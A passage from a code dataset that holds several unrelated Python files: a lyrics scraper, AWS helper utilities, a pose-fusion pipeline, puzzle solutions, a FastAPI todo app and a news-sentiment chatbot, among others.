urlopen('https://fr.wikipedia.org/wiki/Cat%C3%A9gorie:Rappeur_fran%C3%A7ais').read()\n\nwith open(\"rappeurs.html\") as html:\n soup = BeautifulSoup.BeautifulSoup(html, \"lxml\")\nsoup = soup.find_all('li')\n\n\ndef filter_rapper_name(name):\n\n suffix_labels = [' (rappeur)', \" (artiste)\",\n \" (rappeur français)\", \"/Brouillon\",\n ' (chanteur)', ' (musicien)']\n for suffix_label in suffix_labels:\n name = name.split(suffix_label)[0]\n\n prefix_labels = ['Utilisateur:', 'MarkHunt/']\n for prefix_label in prefix_labels:\n if len(name.split(prefix_label)) > 1:\n name = name.split(prefix_label)[1]\n\n return name\n\n\nartists_name_scraped = []\nfor line in soup:\n artists_name_scraped.append(unidecode.unidecode(filter_rapper_name(line.find_all('a')[0].contents[0]).lower()))\n\n#%%\ngenius = lyricsgenius.Genius(secret['client_access_token'])\ngenius._SLEEP_MIN = 0.2\ngenius.sleep_time = 0.2\n\n\nartists_done = ['disiz la peste', 'nekfeu']\n\nartists_name_written = ['lomepal', 'iam', 'romeo elvis', 'pnl', 'jul', 'vald', 'damso', 'niska', 'booba', 'kaaris', 'la fouine', 'lorenzo',\n 'kalash criminel', 'gradur', 'lacrim', 'mhd', 'casseurs flowters', 'dosseh', 'orelsan']\n\nartists_name = np.unique(artists_name_written+artists_name_scraped)\n\n#%%\n# Create folder torchtext-tuto if it does not exist\nif not os.path.exists(\"torchtext-tuto\"):\n print(\"Creating folder torchtext-tuto\")\n os.mkdir(\"torchtext-tuto\")\n\nfor artist_name in artists_name:\n artist = genius.search_artist(artist_name, max_songs=500, sort=\"title\")\n\n for song in artist.songs:\n if not os.path.exists(os.path.join(\"torchtext-tuto\", artist.name)):\n print(\"Creating folder torchtext-tuto/\" + artist.name)\n os.mkdir(os.path.join(\"torchtext-tuto\", artist.name))\n\n song.save_lyrics(os.path.join(\"torchtext-tuto\", artist.name, song.title), overwrite='y')\n\n\n\"\"\"\nbase_url = \"http://api.genius.com\"\nheaders = {'Authorization': \"Bearer \"+secret['client_access_token']}\n#headers = {'Authorization': secret['client_secret']}\nsearch_url = base_url + \"/search\"\nsong_title = \"Back\"\n#artist_name = \"Alkpote\"\ntorchtext-tuto = {'q': song_title}\nresponse = requests.get(search_url, torchtext-tuto=torchtext-tuto, headers=headers)\n\"\"\"\n","repo_name":"RaphaelCouronne/QDS-Generator","sub_path":"scraping/web_scraper.py","file_name":"web_scraper.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"5234525272","text":"import sys\nT = int(sys.stdin.readline())\n\nfor _ in range(T) :\n VPS = input()\n arr = list(VPS)\n \n while len(arr) > 2 :\n if arr[0] == \")\" :\n break\n\n else :\n arr.remove(\"(\")\n for i in arr :\n if i == \")\" :\n arr.remove(\")\")\n break\n\n if arr == [\"(\",\")\"] :\n print(\"YES\")\n else : \n print(\"NO\")\n \n\n \n\n ","repo_name":"KIPUMP/BOJ","sub_path":"2_Silver/9012.py","file_name":"9012.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"35015482993","text":"import os,codecs,sys\n\nsentences=list()\nreader=codecs.open(os.path.abspath(sys.argv[1]),'r')\nwriter=codecs.open(os.path.abspath(sys.argv[2]),'w')\nlines=list()\nline=reader.readline()\ni=0\nwhile line:\n\tline=line.strip()\n\tif line:\n\t\tlines.append(line)\n\telse:\n\t\tln=len(lines)\n\t\tnew_sen=list()\n\t\tfor line in lines:\n\t\t\tspl=line.split('\\t')\n\t\t\tif int(spl[6])==ln+1:\n\t\t\t\tspl[6]='0'\n\t\t\tnew_sen.append('\\t'.join(spl))\n\t\twriter.write('\\n'.join(new_sen)+'\\n\\n')\n\n\t\tlines=list()\n\t\ti+=1\n\t\tif i%10000==0:\n\t\t\tsys.stdout.write(str(i)+'...')\n\t\t\tsys.stdout.flush()\n\t\n\tline=reader.readline()\n\nsys.stdout.write('\\n')\n\nwriter.flush()\nwriter.close()","repo_name":"rasoolims/scripts","sub_path":"conll_last_root2zeroth.py","file_name":"conll_last_root2zeroth.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74566127090","text":"import numpy as np\nimport pylab as pl\nfrom scipy.integrate import odeint\n\n\ndef g(x):\n if x >= 0:\n return 100 * x * x / (400.0 + x * x)\n else:\n return 0.0\n\ndef f(x):\n if x >= 0:\n return 100.0 * x * x / (900 + x * x)\n else:\n return 0.0\n\ndef derivative(x, t):\n\n E, I = x\n\n dE = (f(w_EE * E - w_IE * I + I_E) - E) / tau_E\n dI = (g(w_EI * E - w_II * I + I_I) - I) / tau_I\n\n return [dE, dI]\n\n\nI_E = 20.0\nI_I = 0.0\nw_EE = 1.5\nw_IE = 1.0\nw_EI = 1.0\nw_II = 0.0\ntau_E = 5.0\ntau_I = 10.0\n\nt_final = 300.0\ndt = 0.01\n\nE0 = 50.0\nI0 = 10.0\n\n\nif __name__ == \"__main__\":\n\n t = np.arange(0, t_final, dt)\n sol = odeint(derivative, [E0, I0], t)\n E = sol[:, 0]\n I = sol[:, 1]\n\n pl.figure(figsize=(7, 3))\n pl.plot(t, E, lw=2, c=\"r\", label=\"E\")\n pl.plot(t, I, lw=2, c=\"b\", label=\"I\")\n pl.xlim(min(t), max(t))\n pl.ylim(0, 100)\n pl.xlabel(\"time [ms]\", fontsize=14)\n pl.ylabel(\"v [mV]\", fontsize=14)\n pl.yticks([0, 50, 100])\n pl.tick_params(labelsize=14)\n pl.tight_layout()\n pl.legend(fontsize=14)\n pl.savefig(\"fig_22_2.png\")\n # pl.show()\n","repo_name":"ITNG/ModelingNeuralDynamics","sub_path":"python/22_A_Wilson_Cowan_Model_of_an_Oscillatory_E-I_Network/WILSON_COWAN_E_AND_I/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"20"} +{"seq_id":"37612048358","text":"import boto3\nfrom airflow.contrib.hooks.aws_hook import AwsHook\nfrom typing import List, Dict\n\n\ndef add_step_to_emr(\n task_id: str, egg: str, runner: str, input_data_path=\"\", input_file_name=\"\",\n staging_path=\"\", adm_path=\"\", execution_date=\"\"\n) -> List[Dict]:\n \"\"\"Function to add a step to emr\n\n Parameters\n ----------\n task_id : str\n name of the task to add\n egg : str\n name of the egg file containing the main application\n runner : str\n name of the main runner file\n input_data_path : str\n path to input data required by the step\n input_file_name : str\n name of input file\n staging_path : str\n name of the path for staging tables\n adm_path : str\n name of the path to the ADM\n execution_date : str\n the execution date of the DAG from context\n\n \"\"\"\n\n add_step = [\n {\n \"Name\": \"Run spark step\",\n \"ActionOnFailure\": \"CONTINUE\",\n \"HadoopJarStep\": {\n \"Jar\": \"command-runner.jar\",\n \"Args\": [\n \"spark-submit\",\n \"--deploy-mode\",\n \"cluster\",\n \"--py-files\",\n egg,\n runner,\n task_id,\n input_data_path,\n input_file_name,\n staging_path,\n adm_path,\n execution_date,\n ],\n },\n }\n ]\n\n return add_step\n\n\ndef load_file_to_s3(file_name, bucket, aws_credentials_id, object_name=None):\n \"\"\"Function to upload files to s3 using Boto\n\n Parameters\n ----------\n file_name : str\n string containing path to file\n bucket : str\n string containing name of the s3 bucket\n aws_credentials_id : str\n name of the Airflow connection holding the AWS credentials\n object_name : str\n name of the object to upload\n \"\"\"\n\n aws_hook = AwsHook(aws_credentials_id)\n credentials = aws_hook.get_credentials()\n\n s3 = boto3.resource(\n \"s3\",\n aws_access_key_id=credentials.access_key,\n aws_secret_access_key=credentials.secret_key,\n )\n\n # If S3 object_name was not specified, use file_name\n if object_name is None:\n object_name = file_name\n\n s3.Bucket(bucket).Object(object_name).upload_file(file_name)\n","repo_name":"ifu97224/udacity_data_engineer_capstone","sub_path":"utils/aws_utils.py","file_name":"aws_utils.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"41482778219","text":"import numpy as np\n\nfrom liegroups import SE3, SO3\nfrom pyslam.problem import Options, Problem\nfrom collections import OrderedDict, namedtuple\nfrom pyslam.losses import L2Loss, HuberLoss, CauchyLoss, TDistributionLoss\nfrom pyslam.residuals import PoseResidual, PoseToPoseResidual, PoseToPoseOrientationResidual\nfrom pyslam.utils import invsqrt\nfrom pyslam.metrics import TrajectoryMetrics\n\nimport sys\nimport time\nimport torch\n\n\nclass SO3FusionPipeline(object):\n def __init__(self, T_w_c_vo, Sigma_21_vo, T_w_c_gt, hydranet_output_file, first_pose=SE3.identity(), add_reverse_factor=True):\n self.T_w_c = [first_pose] #corrected\n self.T_w_c_vo = T_w_c_vo\n self.T_w_c_gt = T_w_c_gt\n self.Sigma_21_vo = Sigma_21_vo\n self._load_hydranet_files(hydranet_output_file)\n self.add_reverse_factor = add_reverse_factor\n self.optimizer = VOFusionSolver()\n\n def _load_hydranet_files(self, path):\n hn_data = torch.load(path)\n self.Sigma_21_hydranet = hn_data['Sigma_21'].numpy()\n self.C_21_hydranet = hn_data['Rot_21'].numpy()\n self.Sigma_12_hydranet = hn_data['Sigma_12'].numpy()\n self.C_12_hydranet = hn_data['Rot_12'].numpy()\n\n self.C_21_hydranet_gt = hn_data['Rot_21_gt'].numpy()\n self.Sigma_21_hydranet_const, self.C_21_hydranet_bias = self.compute_rot_covar()\n\n def compute_rot_covar(self):\n phi_errs = np.empty((len(self.C_21_hydranet_gt), 3))\n for i in range(len(self.C_21_hydranet_gt)):\n C_21_est = SO3.from_matrix(self.C_21_hydranet[i], normalize=True)\n C_21_gt = SO3.from_matrix(self.C_21_hydranet_gt[i], normalize=True)\n phi_errs[i] = C_21_est.dot(C_21_gt.inv()).log()\n\n return np.cov(phi_errs, rowvar=False), SO3.exp(np.median(phi_errs, axis=0))\n\n def compute_fused_estimates(self):\n\n start = time.time()\n \n #Start at the second image\n for pose_i in np.arange(1, len(self.T_w_c_vo)):\n self.fuse()\n\n if pose_i % 100 == 0:\n end = time.time()\n print('Processing pose: {} / {}. Avg. proc. freq.: {:.3f} [Hz]'.format(pose_i, len(self.T_w_c_vo), 100.0/(end - start)))\n start = time.time()\n\n \n def fuse(self):\n \n pose_i = len(self.T_w_c) - 1\n T_21_vo = self.T_w_c_vo[pose_i+1].inv().dot(self.T_w_c_vo[pose_i])\n T_21_gt = self.T_w_c_gt[pose_i+1].inv().dot(self.T_w_c_gt[pose_i])\n xi_errs_i = T_21_vo.dot(T_21_gt.inv()).log()\n\n #Set initial guess to the corrected guessc\n self.optimizer.reset_solver()\n self.optimizer.set_priors(SE3.identity(), T_21_vo.inv())\n\n if np.iscomplex(invsqrt(self.Sigma_21_hydranet[pose_i])).any() or np.linalg.det(self.Sigma_21_hydranet[pose_i]) > 1e-4:\n #print('Warning: found bad covariance!')\n #print(self.Sigma_21_hydranet[pose_i])\n T_21 = T_21_vo\n else:\n Sigma_21_hn = self.Sigma_21_hydranet[pose_i]\n C_21_hn = SO3.from_matrix(self.C_21_hydranet[pose_i], normalize=True)\n\n Sigma_12_hn = self.Sigma_12_hydranet[pose_i]\n C_12_hn = SO3.from_matrix(self.C_12_hydranet[pose_i], normalize=True)\n\n\n #phi_errs_i = C_21_hn.dot(T_21_gt.rot.inv()).log()\n\n #Sigma_vo = np.diag(9*xi_errs_i**2)\n #Sigma_21_hn = np.diag(9*phi_errs_i**2)\n\n Sigma_vo = self.Sigma_21_vo[pose_i]\n self.optimizer.add_pose_residual(T_21_vo, invsqrt(Sigma_vo))\n\n self.optimizer.add_orientation_residual(C_21_hn, invsqrt(Sigma_21_hn))\n if self.add_reverse_factor:\n self.optimizer.add_orientation_residual(C_12_hn, invsqrt(Sigma_12_hn), reverse=True)\n T_21 = self.optimizer.solve()\n #T_21.rot = C_hn\n #print(np.linalg.det(self.Sigma_21_hydranet[pose_i]))\n T_w_c = self.T_w_c[-1]\n self.T_w_c.append(T_w_c.dot(T_21.inv()))\n\n # if len(self.T_w_c) % 50 == 0:\n # tm = TrajectoryMetrics(self.T_w_c_gt[:len(self.T_w_c)], self.T_w_c, convention='Twv')\n # tm_vo = TrajectoryMetrics(self.T_w_c_gt[:len(self.T_w_c)], self.T_w_c_vo[:len(self.T_w_c)], convention='Twv')\n # trans_armse_fusion, rot_armse_fusion = tm.mean_err(error_type='traj', rot_unit='deg')\n # trans_armse_vo, rot_armse_vo = tm_vo.mean_err(error_type='traj', rot_unit='deg')\n #\n # print('Trans: {:.3f} / {:.3f} | Rot: {:.3f} / {:.3f}'.format(trans_armse_fusion,trans_armse_vo, rot_armse_fusion,rot_armse_vo))\n\nclass VOFusionSolver(object):\n def __init__(self):\n\n # Options\n self.problem_options = Options()\n self.problem_options.allow_nondecreasing_steps = False\n self.problem_options.max_nondecreasing_steps = 3\n self.problem_options.max_iters = 10\n\n self.problem_solver = Problem(self.problem_options)\n self.pose_keys = ['T_1_0', 'T_2_0']\n self.prior_stiffness = invsqrt(1e-12 * np.identity(6))\n self.loss = L2Loss()#TDistributionLoss(5.0)\n ## self.loss = HuberLoss(5.)\n # self.loss = TukeyLoss(5.)\n # self.loss = HuberLoss(0.1)\n # self.loss = TDistributionLoss(5.0) # Kerl et al. ICRA 2013\n\n def reset_solver(self):\n self.problem_solver = Problem(self.problem_options)\n\n def set_priors(self, T_1_0, T_2_0):\n self.params_initial = {self.pose_keys[0]: T_1_0, self.pose_keys[1]: T_2_0}\n self.problem_solver.set_parameters_constant(self.pose_keys[0])\n #prior_residual = PoseResidual(T_1_0, self.prior_stiffness)\n #self.problem_solver.add_residual_block(prior_residual, [self.pose_keys[0]])\n self.problem_solver.initialize_params(self.params_initial)\n\n def add_pose_residual(self, T_21_obs, stiffness):\n residual_pose = PoseToPoseResidual(T_21_obs, stiffness)\n self.problem_solver.add_residual_block(residual_pose, self.pose_keys)\n\n\n def add_orientation_residual(self, C_21_obs, stiffness, reverse=False):\n residual_rot = PoseToPoseOrientationResidual(C_21_obs, stiffness)\n if reverse:\n self.problem_solver.add_residual_block(residual_rot, self.pose_keys[::-1], loss=self.loss)\n else:\n self.problem_solver.add_residual_block(residual_rot, self.pose_keys, loss=self.loss)\n\n def solve(self):\n self.params_final = self.problem_solver.solve()\n #print(self.problem_solver.summary())\n #self.problem_solver.compute_covariance()\n T_1_0 = self.params_final[self.pose_keys[0]]\n T_2_0 = self.params_final[self.pose_keys[1]]\n T_2_1 = T_2_0.dot(T_1_0.inv())\n return T_2_1","repo_name":"utiasSTARS/so3_learning","sub_path":"kitti/fusion/fusion_pipeline.py","file_name":"fusion_pipeline.py","file_ext":"py","file_size_in_byte":6669,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"20"} +{"seq_id":"34484619393","text":"from ferris import Controller, scaffold, route\nfrom ..models.banner import Banner\nfrom ferris.components import pagination\nfrom ..models.user import User\nfrom google.appengine.api import users\nfrom ferris.core.ndb import ndb\n\n\nclass Banners(Controller):\n class Meta:\n prefixes = ('admin',)\n components = (scaffold.Scaffolding, pagination.Pagination)\n pagination_limit = 10\n\n class Scaffold:\n display_properties = ('url', 'display_text', 'description', 'category', 'created_by', 'created')\n\n delete = scaffold.delete\n # edit = scaffold.edit\n\n def list(self):\n for key, value in self.session.items():\n self.context[key] = value\n\n current_user = users.get_current_user().email()\n result = User.get_by_email(current_user)\n record = result.get()\n\n if record.banner_category:\n record = record.banner_category.get()\n _set = Banner.get_category(record.name)\n else:\n _set = []\n\n self.context['data'] = _set\n\n def add(self):\n current_user = users.get_current_user().email()\n \n result = User.get_by_email(current_user)\n record = result.get()\n \n if record.banner_category:\n banner_category = record.banner_category.get()\n else:\n banner_category = None\n\n self.context['banner_category'] = banner_category\n\n return scaffold.add(self)\n\n def edit(self, key):\n self.context['key'] = key\n\n #Retrieve Record\n record = ndb.Key(urlsafe=key).get()\n\n self.context['url'] = record.url\n self.context['display_text'] = record.display_text\n self.context['description'] = record.description\n self.context['category'] = record.category\n\n return scaffold.edit(self, key)\n\n @route\n def display(self):\n results = Banner.get_all()\n link = {}\n layout = \"\"\n\n for result in results:\n if result.category not in link:\n link[result.category] = []\n layout += \"

    %s

    \" % result.category\n\n details = {}\n details['url'] = result.url\n details['description'] = result.description\n details['display_text'] = result.display_text\n\n layout += \"\" % (result.url, result.display_text, result.description)\n\n link[result.category].append(details)\n\n # return layout\n\n self.context['data'] = layout\n","repo_name":"jonaeroy/woolies-form","sub_path":"app/controllers/banners.py","file_name":"banners.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"10425851191","text":"'''\ngui.py\ntkinterでGUIアプリケーションにする\n\nimportCsv.py\nコマンドラインから引数でcsvファイルを読み込み、配列に格納する\npython main.py test.csv\n\nmakeDirectory.py\n画像を出力するディレクトリを作成する\n\ncaptureWebPage.py\nURLからキャプチャ画像を取得\n\nplotCsv.py\n配列のデータを処理→重みを計算する\n\ndrawHeartMap.py\nヒートマップ画像を作成する\n\nsynthesizeImage.py\nキャプチャ画像とヒートマップ画像を合成する\n\nDrawInfo.py\n合成した画像にURLやキャリブレーション精度などの情報を描画\n\ncompressImage.py\n画像を圧縮する\n'''\n\nfrom tkinter import *\nfrom src import gui\nfrom src import importCsv\nfrom src import makeDirectory\nfrom src import captureWebPage\nfrom src import plotCsv\nfrom src import drawHeartMap\nfrom src import synthesizeImage\nfrom src import drawInfo\nfrom src import compressImage\n\ndef Create():\n inputPath = gui.inputDirPath # csvファイルパス\n outputPath = gui.outputDirPath # 出力先のディレクトリパス\n\n '''\n importCsv.py\n csvファイルを処理\n '''\n data = importCsv.OpenCsv(inputPath) # csvデータを格納する配列\n # print(data)\n\n '''\n makeDirectory.py\n 画像を出力するディレクトリを作成する\n DIR_NAMEはoutputPath/inputPath\n '''\n DIR_NAME = makeDirectory.MakeDir(inputPath, outputPath)\n\n '''\n captureWebPage.py\n URLからキャプチャ画像を取得\n キャプチャしてくる画像の幅はdata[4][0]\n w, h は キャプチャしてきた画像のサイズ\n '''\n w, h = captureWebPage.CaptureImage(data[0][0], int(data[4][0]), DIR_NAME)\n\n '''\n plotCsv.py\n data配列を元にプロットデータを作成→重みを計算する\n plotDataはキャプチャ画像のピクセル毎の重みの情報\n '''\n plotData = plotCsv.PlotCsv(data, w, h, gui.accuracy.get())\n\n '''\n drawHeartMap.py\n ヒートマップ画像を作成する\n '''\n max_weight = max(max(plotData)) # 重みの基準\n drawHeartMap.DrawHeartMap(plotData, max_weight, w, h, DIR_NAME)\n\n '''\n synthesizeImage.py\n キャプチャ画像とヒートマップ画像を合成する\n '''\n synthesizeImage.SynthesizeImage(DIR_NAME)\n\n '''\n DrawInfo.py\n 合成した画像にURLやキャリブレーション精度などの情報を描画\n 引数はURL, 日付, キャリブレーション精度, 閲覧時間, ディレクトリ名\n '''\n drawInfo.DrawInfo(data[0][0], data[1][0], data[2][0], data[3][0], DIR_NAME)\n\n '''\n compressImage.py\n 合成した画像を圧縮する\n 引数は圧縮のクオリティ.小さい値ほど圧縮を行う\n 実行するかどうかはオプションで選べる\n '''\n if (gui.bool_compress.get()):\n compressImage.CompressImage(gui.quality_compress.get(), DIR_NAME)\n\n '''\n ログ出力\n '''\n print('▼ログ##########')\n print('URL:'+str(data[0][0]))\n print('キャプチャ画像のwidth:'+str(w)+', height:'+str(h))\n print('▲ログ##########')\n\n\n'''\ngui.py\ntkinterでGUIアプリケーションにする\n'''\nroot = Tk()\ngui.SetupGui(root)\n\n### 実行ボタン\nstart_button = Button(\n text=\"実行\", # ボタンのテキスト\n width=4, height=2, # 文字数でボタンのサイズを指定\n command=Create\n)\nstart_button.place(\n x = 450, # ラベルの配置先座標x\n y = 400, # ラベルの配置先座標y\n)\n# メインループを開始\nroot.mainloop()","repo_name":"sawasick/sotsuseiApp","sub_path":"main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"7082947924","text":"import time\n\nfile_path = 'day_14\\day14_data.txt'\n\nclass Cave():\n def __init__(self,data_list,is_part2=False) -> None:\n self.rocks = set()\n self.sands = set()\n self.start = (500,-1)\n self.last_sand = (-1,-1)\n self.lowest_rock = 9999\n self.generate_rock(data_list)\n self.is_part2 = is_part2\n self.floor = self.lowest_rock + 2\n self.sand_counter = 0\n pass\n\n def sand_loop(self):\n temp = True\n while temp:\n temp = self.falling_sand(self.start)\n if temp == (9999,9999):\n break\n \n if self.is_part2:\n print('---- part 2 ----')\n else:\n print('---- part 1 ----')\n print('Sand : ',self.sand_counter, \" : \", temp)\n\n def falling_sand(self,coor):\n x,y = coor\n down = (x,y+1)\n down_left = (x-1,y+1)\n down_right = (x+1,y+1)\n \n # exit case\n # ---- part 1 ----\n if not self.is_part2:\n if y >= self.floor:\n return (9999,9999)\n # ---- part 1 ----\n\n # ---- part 2 ----\n elif self.is_part2:\n if y > self.floor:\n return (9999,9999)\n elif y == self.floor:\n x_start_coor = x - 5\n x_end_coor = x + 5\n y_coor = self.floor\n # print(f\"...creating floor \")\n temp_list = [[(x_start_coor,y_coor),(x_end_coor,y_coor)]]\n self.generate_rock(temp_list)\n return (-1,-1) # add floor and gen new sand\n elif (500,0) in self.sands or (500,0) in self.rocks:\n return (9999,9999)\n # ---- part 2 ----\n \n\n # down\n if not (down in self.rocks or down in self.sands):\n return self.falling_sand(down)\n\n # left\n elif not (down_left in self.rocks or down_left in self.sands):\n return self.falling_sand(down_left)\n\n # right\n elif not (down_right in self.rocks or down_right in self.sands):\n return self.falling_sand(down_right)\n # stop\n elif (down in self.rocks or down in self.sands):\n self.sands.add((x,y))\n self.sand_counter += 1\n self.last_sand = (x,y)\n return (x,y)\n\n \n def generate_rock(self,data_list):\n for index,data_line in enumerate(data_list):\n for i in range(1,len(data_line)):\n start_x,start_y = data_line[i-1]\n end_x,end_y = data_line[i]\n\n while (start_x,start_y) != (end_x,end_y):\n self.rocks.add((start_x,start_y))\n self.rocks.add((end_x,end_y))\n if start_x == end_x:\n if start_y < end_y:\n start_y += 1\n self.rocks.add((start_x,start_y))\n continue\n else:\n start_y += -1\n self.rocks.add((start_x,start_y))\n continue\n elif start_y == end_y:\n if start_x < end_x:\n start_x += 1\n self.rocks.add((start_x,start_y))\n continue\n else:\n start_x += -1\n self.rocks.add((start_x,start_y))\n continue\n\n self.lowest_rock = max(self.rocks, key = lambda t:t[1])[1]\n return\n\n\n\ndef processing_input(file_path):\n data = open(file_path, \"r\")\n lines = data.readlines()\n data_list = map(lambda line: map(lambda coor: tuple([int(e) for e in coor.split(',')]),line) ,[e.strip().split(' -> ') for e in lines])\n return list(map(lambda x: list(x),data_list))\ndef main():\n \n data_list = processing_input(file_path)\n a = Cave(data_list)\n # print(data_list)\n a.sand_loop()\n \n b = Cave(data_list,is_part2=True)\n b.sand_loop()\n return\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"ppongkham/AOC2022","sub_path":"day_14/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":4129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"26524734543","text":"class Solution:\n def missingNumber(self, nums):\n s = set()\n for num in nums:\n s.add(num)\n output = []\n for i in range(len(nums)+1):\n if i not in s:\n output.append(i)\n return output[0]\n\nif __name__ == '__main__':\n func = Solution()\n nums = [3,0,1]\n print(func.missingNumber(nums))\n\n ","repo_name":"JiajiaLi04/Leetcode","sub_path":"268.missingNumber.py","file_name":"268.missingNumber.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"43896442502","text":"from fastapi import FastAPI, HTTPException, status, Depends\nfrom pydantic import BaseModel\nfrom sqlalchemy.orm import Session\nfrom models import TodoInDB\nfrom database import SessionLocal, init_db\n\napp = FastAPI()\n\n@app.on_event(\"startup\")\nasync def startup():\n init_db()\n\nclass Todo(BaseModel):\n task: str\n completed: bool\n\ndef get_db():\n db = SessionLocal()\n try:\n yield db\n finally:\n db.close()\n\ndef to_dict(obj):\n return {\n column.name: getattr(obj, column.name) for column in obj.__table__.columns\n }\n\n@app.get(\"/todos\", response_model=list[dict])\ndef read_todos(db: Session = Depends(get_db)):\n todos = db.query(TodoInDB).all()\n return [to_dict(todo) for todo in todos]\n\n@app.post(\"/todos\", response_model=dict, status_code=status.HTTP_201_CREATED)\ndef create_todo(todo: Todo, db: Session = Depends(get_db)):\n db_todo = TodoInDB(**todo.model_dump())\n db.add(db_todo)\n db.commit()\n db.refresh(db_todo)\n return to_dict(db_todo)\n\n@app.put(\"/todos/{todo_id}\", response_model=dict)\ndef update_todo(todo_id: int, todo: Todo, db: Session = Depends(get_db)):\n db_todo = db.query(TodoInDB).filter(TodoInDB.id == todo_id).first()\n if db_todo is None:\n raise HTTPException(status_code=404, detail=\"Todo not found\")\n for key, value in todo.model_dump().items():\n setattr(db_todo, key, value)\n db.commit()\n db.refresh(db_todo)\n return to_dict(db_todo)\n\n@app.delete(\"/todos/{todo_id}\", response_model=dict)\ndef delete_todo(todo_id: int, db: Session = Depends(get_db)):\n db_todo = db.query(TodoInDB).filter(TodoInDB.id == todo_id).first()\n if db_todo is None:\n raise HTTPException(status_code=404, detail=\"Todo not found\")\n db.delete(db_todo)\n db.commit()\n return {\"message\": \"Todo deleted successfully\"}\n","repo_name":"ronaldojr/blog_first_fastapi","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"13202875461","text":"import requests\nfrom textbase import bot, Message\nfrom typing import List\nimport nltk\nnltk.download('vader_lexicon')\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\n\n\n# Replace 'NEWS_API_KEY' with your actual News API key\nNEWS_API_KEY = \"\"\n\n# NewsAPI URL for top headlines\nNEWS_API_TOP_URL = \"https://newsapi.org/v2/top-headlines\"\nNEWS_API_EVERYTHING_URL = \"https://newsapi.org/v2/everything\"\n\n\n# System prompt for your bot\nSYSTEM_PROMPT = \"\"\"Hello 👋 Type '!news [category]' (e.g., '!news technology') for clickable news links with sentiment labels: 'positive,' 'negative,' or 'neutral'.\n\"\"\"\n\n@bot()\ndef on_message(message_history: List[Message], state: dict = None):\n \n # Ensure there are messages in the history\n if not message_history:\n return {\n \"status_code\": 200,\n \"response\": {\n \"data\": {\n \"messages\": [\"No messages available.\"],\n \"state\": state\n },\n \"errors\": [{\"message\": \"\"}]\n }\n }\n\n # Get the user's most recent message\n user_message = message_history[-1][\"content\"][0][\"value\"].strip()\n\n # Check if the user is requesting news\n if user_message.startswith(\"!news\"):\n # Extract the news category from the user's message, default to 'general'\n parts = user_message.split()\n if len(parts) > 1:\n news_category = parts[1]\n else:\n news_category = 'general'\n #print(\"News Category:\", news_category)\n\n #print(\"User Message:\", user_message)\n\n # Fetch news articles from the chosen category\n news_articles = get_news(news_category)\n \n # Analyze sentiment for each article\n for article in news_articles:\n article['sentiment'] = analyze_sentiment(article['description']) # Add this line\n\n # Generate a response with news articles\n if news_articles:\n formatted_articles = format_news_articles(news_articles)\n response_message = \"Here are the latest \"+ news_category +\" news articles: \\n\\n\" + '\\n\\n'.join(formatted_articles)\n else:\n response_message = \"Sorry, I couldn't find any news articles for that category.\"\n #print(\"Response Message:\", response_message)\n response = {\n \"data\": {\n \"messages\": [\n {\n \"data_type\": \"HTML\",\n \"value\": response_message\n },\n {\n \"data_type\": \"STRING\",\n \"value\": \"To get the latest news, type '!news [category]'.\"\n },\n {\n \"data_type\": \"STRING\",\n \"value\": \"Replace `[category]` with your desired news category (e.g., technology, business, entertainment, general, health, science, sports).\"\n }\n ],\n \"state\": state\n },\n \"errors\": [\n {\n \"message\": \"\"\n }\n ],\n }\n else:\n # If the user's message is not related to news, respond with the system prompt\n response = {\n \"data\": {\n \"messages\": [\n {\n \"data_type\": \"STRING\",\n \"value\": SYSTEM_PROMPT\n }\n ],\n \"state\": state\n },\n \"errors\": [\n {\n \"message\": \"\"\n }\n ]\n }\n\n return {\n \"status_code\": 200,\n \"response\": response\n }\n\ndef format_news_articles(articles):\n formatted_articles = []\n for index, article in enumerate(articles, start=1):\n title = article['title']\n description = article['description']\n link = article['url']\n sentiment = article['sentiment'] # Add this line\n\n # Create a formatted string for each article\n formatted_article = f\"📌 [{title}]({link}) 🔊Sentiment âž¡ {sentiment}\\n\\n\"\n formatted_article += f\"{description}\\n\\n\"\n\n formatted_articles.append(formatted_article)\n\n return formatted_articles\n\n\n\ndef get_news(query=None, category=None):\n params = {\n 'apiKey': NEWS_API_KEY,\n 'pageSize': 5, # Adjust the number of articles to fetch as needed,\n 'language': 'en'\n }\n\n if query:\n params['q'] = query\n elif category:\n params['category'] = category\n else:\n return []\n\n response = requests.get(NEWS_API_EVERYTHING_URL if query else NEWS_API_TOP_URL, params=params)\n\n if response.status_code == 200:\n data = response.json()\n articles = data['articles']\n return articles\n else:\n return []\n\ndef analyze_sentiment(article_text):\n analyzer = SentimentIntensityAnalyzer()\n sentiment_scores = analyzer.polarity_scores(article_text)\n compound_score = sentiment_scores['compound']\n\n if compound_score >= 0.05:\n return 'positive'\n elif compound_score <= -0.05:\n return 'negative'\n else:\n return 